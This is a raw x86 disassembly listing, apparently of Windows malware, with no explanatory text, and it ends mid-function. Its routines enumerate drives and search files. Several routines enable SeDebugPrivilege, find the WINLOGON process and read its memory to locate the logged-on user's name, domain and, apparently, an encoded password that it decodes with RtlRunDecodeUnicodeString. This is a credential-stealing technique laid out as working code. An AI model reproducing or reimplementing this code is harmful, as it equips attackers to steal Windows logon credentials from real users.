lea eax, [ebp+var_18]
push eax
call sub_4169EB
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_416B11
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_416B11
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_416B11
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call __alldiv
push edx
push eax
call sub_416923
pop ecx
mov edi, offset aSkb ; "%sKB"
pop ecx
mov esi, 80h
push eax
push edi ; Format
lea eax, [ebp+Dest]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call __alldiv
push edx
push eax
call sub_416923
pop ecx
pop ecx
push eax
push edi ; Format
lea eax, [ebp+var_118]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call __alldiv
push edx
push eax
call sub_416923
pop ecx
pop ecx
push eax
push edi ; Format
lea eax, [ebp+var_98]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
pop ebx
jmp short loc_416B43
; ---------------------------------------------------------------------------
loc_416B11: ; CODE XREF: sub_416A33+2Cj
; sub_416A33+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+Dest]
push esi ; Format
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+var_118]
pop ecx
push esi ; Format
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+var_98]
pop ecx
push esi ; Format
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_416B43: ; CODE XREF: sub_416A33+DCj
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+Dest]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416A33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_416B57(int,char *Str,int,int)
sub_416B57 proc near ; CODE XREF: sub_416C29+17p
; sub_416C29+60p
Dest = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
Str1 = byte ptr -80h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_416A33
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+Str1]
push offset aFailed ; "failed"
rep movsd
push eax ; Str1
call _strcmp
add esp, 10h
test eax, eax
jnz short loc_416BCA
push ebx
push ebx
call sub_4169A2
pop ecx
push eax
push offset asc_437F7C ; "-"
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp short loc_416BFE
; ---------------------------------------------------------------------------
loc_416BCA: ; CODE XREF: sub_416B57+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+Str1]
push eax
push ebx
push ebx
call sub_4169A2
pop ecx
push eax
push offset asc_437F40 ; "-"
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 20h
loc_416BFE: ; CODE XREF: sub_416B57+71j
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
lea eax, [ebp+Dest]
push eax
call sub_4151AD
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_416B57 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_416C29(int,char *Str,int,int)
sub_416C29 proc near ; CODE XREF: sub_401ACD+2554p
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_416C4A
push [ebp+arg_C] ; int
push [ebp+arg_8] ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_416B57
add esp, 10h
jmp short loc_416CAB
; ---------------------------------------------------------------------------
loc_416C4A: ; CODE XREF: sub_416C29+9j
push esi
push edi
push ebx
push ebx
call dword_4CB5BC ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi ; Size
call _malloc
pop ecx
mov edi, eax
push edi
push esi
call dword_4CB5BC ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_416CA2
loc_416C6E: ; CODE XREF: sub_416C29+77j
push offset aA_1 ; "A:\\"
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_416C91
push esi ; int
push [ebp+arg_8] ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_416B57
add esp, 10h
loc_416C91: ; CODE XREF: sub_416C29+54j
push esi ; Str
call _strlen
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_416C6E
loc_416CA2: ; CODE XREF: sub_416C29+43j
push edi
call sub_41B0B1
pop ecx
pop edi
pop esi
loc_416CAB: ; CODE XREF: sub_416C29+1Fj
pop ebx
pop ebp
retn
sub_416C29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416CAE proc near ; DATA XREF: sub_401ACD+68A0o
Dest = byte ptr -49Ch
var_29C = dword ptr -29Ch
var_298 = byte ptr -298h
var_218 = dword ptr -218h
var_115 = byte ptr -115h
Str = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0A7h
mov esi, eax
lea edi, [ebp+var_29C]
rep movsd
mov dword ptr [eax+298h], 1
lea eax, [ebp+Str]
push eax ; Str
call _strlen
xor ebx, ebx
cmp [ebp+eax+var_115], 5Ch
pop ecx
jnz short loc_416D03
lea eax, [ebp+Str]
push eax ; Str
call _strlen
pop ecx
mov [ebp+eax+var_115], bl
loc_416D03: ; CODE XREF: sub_416CAE+3Fj
lea eax, [ebp+var_218]
push eax
push offset asc_437FDC ; "-"
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+var_8], ebx
jnz short loc_416D48
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+var_298]
push eax ; Str
push [ebp+var_29C] ; int
call sub_409A73
add esp, 14h
loc_416D48: ; CODE XREF: sub_416CAE+78j
lea eax, [ebp+Str]
push ebx ; int
push eax ; int
lea eax, [ebp+var_218]
push eax ; int
lea eax, [ebp+var_298]
push [ebp+var_C] ; int
push eax ; Str
push [ebp+var_29C] ; int
call sub_416DC9
add esp, 18h
push eax
lea eax, [ebp+Dest]
push offset asc_437FBC ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_416DA9
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+var_298]
push eax ; Str
push [ebp+var_29C] ; int
call sub_409A73
add esp, 14h
loc_416DA9: ; CODE XREF: sub_416CAE+D9j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_10]
call sub_40B413
pop ecx
pop ecx
push ebx
call ds:dword_4270CC ; ExitThread
pop edi
pop esi
pop ebx
sub_416CAE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_416DC9(int,char *Str,int,int,int,int)
sub_416DC9 proc near ; CODE XREF: sub_416CAE+B9p
; sub_416DC9+9Ep
var_54C = dword ptr -54Ch
var_34C = dword ptr -34Ch
Dest = byte ptr -248h
var_144 = byte ptr -144h
var_118 = byte ptr -118h
var_117 = byte ptr -117h
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 54Ch
push ebx
push esi
push edi
mov esi, 104h
push [ebp+arg_10]
lea eax, [ebp+Dest]
push offset aS_3 ; "%s\\*"
push esi ; Count
push eax ; Dest
call __snprintf
mov edi, ds:dword_427000
add esp, 10h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+Dest]
push eax
call edi ; FindFirstFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
mov ebx, offset Format ; "%s\\%s"
jz short loc_416E86
loc_416E15: ; CODE XREF: sub_416DC9+BBj
test [ebp+var_144], 10h
jz short loc_416E72
cmp [ebp+var_118], 2Eh
jnz short loc_416E39
cmp [ebp+var_117], 0
jz short loc_416E72
cmp [ebp+var_117], 2Eh
jz short loc_416E72
loc_416E39: ; CODE XREF: sub_416DC9+5Cj
lea eax, [ebp+var_118]
push eax
lea eax, [ebp+var_34C]
push [ebp+arg_10]
push ebx ; Format
push esi ; Count
push eax ; Dest
call __snprintf
push [ebp+arg_14] ; int
lea eax, [ebp+var_34C]
push eax ; int
push [ebp+arg_C] ; int
push [ebp+arg_8] ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_416DC9
add esp, 2Ch
mov [ebp+arg_14], eax
loc_416E72: ; CODE XREF: sub_416DC9+53j
; sub_416DC9+65j ...
lea eax, [ebp+var_144]
push eax
push [ebp+var_4]
call ds:dword_427118 ; FindNextFileA
test eax, eax
jnz short loc_416E15
loc_416E86: ; CODE XREF: sub_416DC9+4Aj
push [ebp+var_4]
call ds:dword_42710C ; FindClose
push [ebp+arg_C]
lea eax, [ebp+Dest]
push [ebp+arg_10]
push ebx ; Format
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+Dest]
push eax
call edi ; FindFirstFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_416F0C
loc_416EBD: ; CODE XREF: sub_416DC9+141j
lea eax, [ebp+var_118]
inc [ebp+arg_14]
push eax
lea eax, [ebp+var_54C]
push [ebp+arg_10]
push offset asc_438004 ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
push 1 ; int
lea eax, [ebp+var_54C]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 28h
lea eax, [ebp+var_144]
push eax
push esi
call ds:dword_427118 ; FindNextFileA
test eax, eax
jnz short loc_416EBD
loc_416F0C: ; CODE XREF: sub_416DC9+F2j
push esi
call ds:dword_42710C ; FindClose
mov eax, [ebp+arg_14]
pop edi
pop esi
pop ebx
leave
retn
sub_416DC9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F1B proc near ; DATA XREF: sub_401ACD+1CD0o
Dest = byte ptr -29Ch
var_9C = dword ptr -9Ch
Str = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
push 1
rep movsd
pop esi
mov [eax+90h], esi
call sub_41A8F5
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_416F5A
cmp eax, 2
jz short loc_416F5A
push offset unk_4381F8
jmp loc_417099
; ---------------------------------------------------------------------------
loc_416F5A: ; CODE XREF: sub_416F1B+2Ej
; sub_416F1B+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419652
pop ecx
test eax, eax
pop ecx
jz loc_417094
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
call ds:dword_4270B8 ; LoadLibraryA
mov esi, ds:dword_4270BC
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi ; GetProcAddress
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_4D44CC, eax
call esi ; GetProcAddress
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_4D44C0, eax
call esi ; GetProcAddress
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov dword_4D46D0, eax
call esi ; GetProcAddress
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_4D44C8, eax
call esi ; GetProcAddress
mov dword_4D44C4, eax
call sub_4170ED
test eax, eax
mov [ebp+arg_0], eax
jz loc_417067
mov esi, ds:dword_42713C
mov edi, 400h
mov ebx, offset word_4D34C0
push edi
push ebx
push offset aUsername ; "USERNAME"
call esi ; GetEnvironmentVariableW
push edi
mov edi, offset word_4D3CC0
push edi
push offset aUserdomain ; "USERDOMAIN"
call esi ; GetEnvironmentVariableW
cmp [ebp+var_4], 1
push offset dword_4D46D8
push [ebp+arg_0]
jnz short loc_417013
call sub_417276
jmp short loc_417018
; ---------------------------------------------------------------------------
loc_417013: ; CODE XREF: sub_416F1B+EFj
call sub_41741D
loc_417018: ; CODE XREF: sub_416F1B+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_417060
cmp dword_4D46D8, 0
jnz short loc_417047
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+Dest]
push offset asc_4380C0 ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 18h
jmp short loc_41707A
; ---------------------------------------------------------------------------
loc_417047: ; CODE XREF: sub_416F1B+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_417057
call sub_417553
jmp short loc_41705C
; ---------------------------------------------------------------------------
loc_417057: ; CODE XREF: sub_416F1B+133j
call sub_4175EA
loc_41705C: ; CODE XREF: sub_416F1B+13Aj
pop ecx
push eax
jmp short loc_41706C
; ---------------------------------------------------------------------------
loc_417060: ; CODE XREF: sub_416F1B+101j
push offset unk_438088
jmp short loc_41706C
; ---------------------------------------------------------------------------
loc_417067: ; CODE XREF: sub_416F1B+B6j
push offset asc_43805C ; "-"
loc_41706C: ; CODE XREF: sub_416F1B+143j
; sub_416F1B+14Aj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41707A: ; CODE XREF: sub_416F1B+12Aj
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419652
pop ecx
pop ecx
push [ebp+var_8]
call ds:dword_427138 ; FreeLibrary
pop ebx
jmp short loc_4170A7
; ---------------------------------------------------------------------------
loc_417094: ; CODE XREF: sub_416F1B+4Ej
push offset asc_438028 ; "-"
loc_417099: ; CODE XREF: sub_416F1B+3Aj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_4170A7: ; CODE XREF: sub_416F1B+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_4170CE
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_9C] ; int
call sub_409A73
add esp, 14h
loc_4170CE: ; CODE XREF: sub_416F1B+191j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_18]
call sub_40B413
pop ecx
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
pop edi
pop esi
sub_416F1B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4170ED proc near ; CODE XREF: sub_416F1B+ACp
String = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, ds:dword_427148
mov ebx, 100h
push edi
push ebx
push 8
call esi ; GetProcessHeap
mov edi, ds:dword_427144
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_4D44CC
push ebp
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_427140 ; RtlFreeHeap
push [esp+28h+var_14]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call dword_4D44CC
test eax, eax
jnz short loc_4171DA
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_4171DA
push 1
mov ebx, ebp
pop ecx
cmp eax, ecx
mov [esp+28h+String], ecx
jb short loc_4171DA
loc_417176: ; CODE XREF: sub_4170ED+EBj
cmp word ptr [ebx+8], 5
jnz short loc_4171CD
push 0
push 0
call dword_4D44C0
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_4D46D0
test eax, eax
jnz short loc_4171BE
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax ; String
call __strupr
pop ecx
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_4171F2
loc_4171BE: ; CODE XREF: sub_4170ED+AAj
test edi, edi
jz short loc_4171C9
push edi
call dword_4D44C8
loc_4171C9: ; CODE XREF: sub_4170ED+D3j
mov eax, [esp+28h+var_10]
loc_4171CD: ; CODE XREF: sub_4170ED+8Ej
add ebx, 10h
inc [esp+28h+String]
cmp [esp+28h+String], eax
jbe short loc_417176
loc_4171DA: ; CODE XREF: sub_4170ED+6Dj
; sub_4170ED+7Aj ...
xor edi, edi
loc_4171DC: ; CODE XREF: sub_4170ED+17Dj
push ebp
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_427140 ; RtlFreeHeap
mov eax, edi
loc_4171EA: ; CODE XREF: sub_4170ED+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_4171F2: ; CODE XREF: sub_4170ED+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_41725B
lea eax, [edi+80h]
mov [esp+28h+String], eax
loc_417208: ; CODE XREF: sub_4170ED+16Cj
add [esp+28h+String], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+String] ; String
call __strupr
pop ecx
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_41726F
push offset aMsgina ; "MSGINA"
push [esp+2Ch+String] ; String
call __strupr
pop ecx
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_41724D
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_41724D: ; CODE XREF: sub_4170ED+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_417208
loc_41725B: ; CODE XREF: sub_4170ED+10Fj
test edi, edi
jz short loc_417266
push edi
call dword_4D44C8
loc_417266: ; CODE XREF: sub_4170ED+170j
mov edi, [esp+28h+var_4]
jmp loc_4171DC
; ---------------------------------------------------------------------------
loc_41726F: ; CODE XREF: sub_4170ED+13Cj
xor eax, eax
jmp loc_4171EA
sub_4170ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417276 proc near ; CODE XREF: sub_416F1B+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
call ds:dword_427084 ; OpenProcess
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_41729F
xor eax, eax
jmp loc_41741A
; ---------------------------------------------------------------------------
loc_41729F: ; CODE XREF: sub_417276+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
call ds:dword_427154 ; GetSystemInfo
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, ds:dword_427148
push 8
call esi ; GetProcessHeap
mov edi, ds:dword_427144
push eax
call edi ; RtlAllocateHeap
lea ecx, [ebp+var_8]
mov ebx, ds:dword_427150
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jnz short loc_4172EF
xor esi, esi
jmp loc_41740D
; ---------------------------------------------------------------------------
loc_4172EF: ; CODE XREF: sub_417276+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
call ds:dword_42714C ; VirtualQueryEx
test eax, eax
jz loc_4173FC
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_4173FC
test [ebp+var_2B], 1
jnz loc_4173FC
push [ebp+var_34]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx ; ReadProcessMemory
test eax, eax
jz loc_4173FC
loc_417352: ; CODE XREF: sub_417276+112j
push edi ; Str2
push offset word_4D34C0 ; Str1
call __wcsicmp
pop ecx
test eax, eax
pop ecx
jnz short loc_41737A
lea eax, [edi+200h]
push eax ; Str2
push offset word_4D3CC0 ; Str1
call __wcsicmp
pop ecx
test eax, eax
pop ecx
jz short loc_41738A
loc_41737A: ; CODE XREF: sub_417276+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jnb short loc_4173FC
jmp short loc_417352
; ---------------------------------------------------------------------------
loc_41738A: ; CODE XREF: sub_417276+102j
test edi, edi
jz short loc_4173FC
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
call ds:dword_427114 ; FileTimeToLocalFileTime
test eax, eax
jz short loc_4173C5
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
call ds:dword_427110 ; FileTimeToSystemTime
test eax, eax
jz short loc_4173C5
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_4173C5: ; CODE XREF: sub_417276+12Bj
; sub_417276+13Dj
movzx eax, word ptr [edi+42Ch]
shr eax, 8
mov dword_4D46E4, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_4D46DC, eax
mov Src, edi
loc_4173FC: ; CODE XREF: sub_417276+90j
; sub_417276+A2j ...
push [ebp+arg_0]
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_427140 ; RtlFreeHeap
mov esi, [ebp+var_10]
loc_41740D: ; CODE XREF: sub_417276+74j
push [ebp+var_4]
call ds:dword_427068 ; CloseHandle
pop edi
mov eax, esi
pop ebx
loc_41741A: ; CODE XREF: sub_417276+24j
pop esi
leave
retn
sub_417276 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41741D proc near ; CODE XREF: sub_416F1B:loc_417013p
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push [ebp+arg_0]
push 0
push 410h
call ds:dword_427084 ; OpenProcess
test eax, eax
mov [ebp+arg_0], eax
jz loc_41750F
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
call ds:dword_427154 ; GetSystemInfo
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_417506
mov edi, ds:dword_427148
loc_417468: ; CODE XREF: sub_41741D+E3j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
call ds:dword_42714C ; VirtualQueryEx
test eax, eax
jz short loc_4174F4
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_4174FA
test [ebp+var_13], 1
jnz short loc_4174FA
push ecx
push 8
call edi ; GetProcessHeap
push eax
call ds:dword_427144 ; RtlAllocateHeap
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
call ds:dword_427150 ; ReadProcessMemory
test eax, eax
jz short loc_4174E6
push offset word_4D34C0 ; Str2
push esi ; Str1
call __wcsicmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4174E6
lea eax, [esi+400h]
push offset word_4D3CC0 ; Str2
push eax ; Str1
call __wcsicmp
pop ecx
test eax, eax
pop ecx
jz short loc_417516
loc_4174E6: ; CODE XREF: sub_41741D+9Fj
; sub_41741D+B0j
push esi
push 0
call edi ; GetProcessHeap
push eax
call ds:dword_427140 ; RtlFreeHeap
jmp short loc_4174FA
; ---------------------------------------------------------------------------
loc_4174F4: ; CODE XREF: sub_41741D+5Dj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_4174FA: ; CODE XREF: sub_41741D+71j
; sub_41741D+77j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_417468
loc_417506: ; CODE XREF: sub_41741D+3Fj
push [ebp+arg_0]
call ds:dword_427068 ; CloseHandle
loc_41750F: ; CODE XREF: sub_41741D+1Ej
xor eax, eax
loc_417511: ; CODE XREF: sub_41741D+134j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_417516: ; CODE XREF: sub_41741D+C7j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_4D46DC, ebx
mov Src, eax
cmp [eax], cl
jnz short loc_417538
cmp [eax+1], cl
jz short loc_417540
loc_417538: ; CODE XREF: sub_41741D+114j
; sub_41741D+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_417538
loc_417540: ; CODE XREF: sub_41741D+119j
mov eax, [ebp+arg_4]
push [ebp+arg_0]
mov [eax], ecx
call ds:dword_427068 ; CloseHandle
push 1
pop eax
jmp short loc_417511
sub_41741D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417553 proc near ; CODE XREF: sub_416F1B+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4D46D8
push esi
mov esi, ds:dword_427148
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi ; GetProcessHeap
push eax
call ds:dword_427144 ; RtlAllocateHeap
mov ecx, dword_4D46D8
mov [ebp+var_4], eax
add ecx, ecx
push ecx ; Size
push Src ; Src
push eax ; Dst
call _memcpy
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr dword_4D46E4
push eax
call dword_4D44C4
push [ebp+var_4]
mov edi, offset byte_4D44D0
push offset word_4D34C0
push offset word_4D3CC0
push [ebp+arg_0]
push offset asc_438244 ; "-"
push 200h ; Count
push edi ; Dest
call __snprintf
add esp, 1Ch
push [ebp+var_4]
push 0
call esi ; GetProcessHeap
push eax
call ds:dword_427140 ; RtlFreeHeap
mov eax, edi
pop edi
pop esi
leave
retn
sub_417553 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4175EA proc near ; CODE XREF: sub_416F1B:loc_417057p
var_18 = word ptr -18h
var_16 = word ptr -16h
Dst = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_4D46D8
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
call ds:dword_427148 ; GetProcessHeap
push eax
call ds:dword_427144 ; RtlAllocateHeap
and [ebp+var_C], 0
mov [ebp+Dst], eax
mov ebx, offset word_4D3CC0
mov edi, 200h
mov esi, offset byte_4D32C0
loc_417630: ; CODE XREF: sub_4175EA+FAj
mov eax, dword_4D46D8
add eax, eax
push eax ; Size
push Src ; Src
push [ebp+Dst] ; Dst
call _memcpy
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_4D44C4
mov eax, dword_4D46D8
and [ebp+var_10], 0
mov ecx, [ebp+Dst]
mov [ebp+var_8], 1
test eax, eax
